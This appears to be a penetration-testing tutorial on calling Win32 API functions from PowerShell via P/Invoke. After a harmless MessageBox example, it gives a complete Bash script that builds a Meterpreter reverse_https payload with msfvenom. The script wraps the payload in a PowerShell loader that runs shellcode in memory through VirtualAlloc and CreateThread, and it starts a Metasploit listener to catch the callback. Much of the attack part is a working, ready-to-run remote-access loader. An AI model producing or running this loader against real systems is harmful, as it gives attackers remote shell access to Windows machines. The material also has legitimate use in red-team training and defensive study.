We can’t execute Win32API methods directly from PowerShell. What are
Win32API methods? We discuss them in
Phishing in Microsoft Office - Calling Win32API.
These are methods usually implemented in .dlls like kernel32.dll that you
can usually find in C:\Windows\System32.
We can, however, compile and execute C# (CSharp) from PowerShell, and invoke
these methods using the .NET Framework. Using
Platform Invoke (P/Invoke),
we can directly reference Win32API methods implemented in our target .dlls.
For effective translation of C# types to C/C++ types for parameters defined in
these Win32API methods, we can reference helpful documentation provided at
pinvoke.net. The following PowerShell script
demonstrates how to invoke user32.MessageBox from user32.dll using
P/Invoke and C#:
$User32 = @"
using System;
using System.Runtime.InteropServices;
public class User32 {
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text,
String caption, int options);
}
"@
Add-Type $User32
[User32]::MessageBox(0, "This is an alert", "MyBox", 0)Executing shellcode in PowerShell
The following example uses the interoperability features described above to
define references to the VirtualAlloc and CreateThread methods from
kernel32.dll . This Bash script will generate a meterpreter
windows/x64/meterpreter/reverse_https payload directed to callback to a
provided LHOST and LPORTfor the next stage of the meterpreter payload.
The PowerShell shellcode buffer for the meterpreter payload will be placed into
a PowerShell script that will call VirtualAlloc to allocate an RWX memory
segment within the current process. The script will proceed to call
System.Runtime.InteropServices.Marshal to copy the shellcode from managed
memory to unmanaged memory - copying our shellcode to the newly created buffer
from the previous VirtualAlloc call. Finally, we call CreateThread providing
an address to our shellcode payload memory segment to gain shellcode execution.
After generating our PowerShell payload, we kick off an msfconsole session to
listen for our meterpreter payload callback:
#!/bin/bash
set -ex -o pipefail
MSFPAYLOAD="windows/x64/meterpreter/reverse_https"
MSFCONSOLE=$(which msfconsole)
MSFVENOM=$(which msfvenom)
msfvenom() {
PAYLOAD=$($MSFVENOM \
-p $MSFPAYLOAD \
LHOST=$LHOST \
LPORT=$LPORT \
EXITFUNC=thread \
-f ps1 2>/dev/null)
}
generate_powershell() {
tee payload.ps1 << EOF
\$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type \$Kernel32
$PAYLOAD
\$size = \$buf.Length
[IntPtr]\$addr = [Kernel32]::VirtualAlloc(0, \$size, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy(\$buf, 0, \$addr, \$size)
\$thandle=[Kernel32]::CreateThread(0, 0, \$addr, 0, 0, 0)
[Kernel32]::WaitForSingleObject(\$thandle, [uint32]"0xFFFFFFFF")
EOF
}
listen() {
$MSFCONSOLE \
-q \
-x "use multi/handler; \
set payload $MSFPAYLOAD; \
set LHOST $LHOST; \
set LPORT $LPORT; \
exploit"
}
LHOST=$1
LPORT=$2
msfvenom
generate_powershell
listen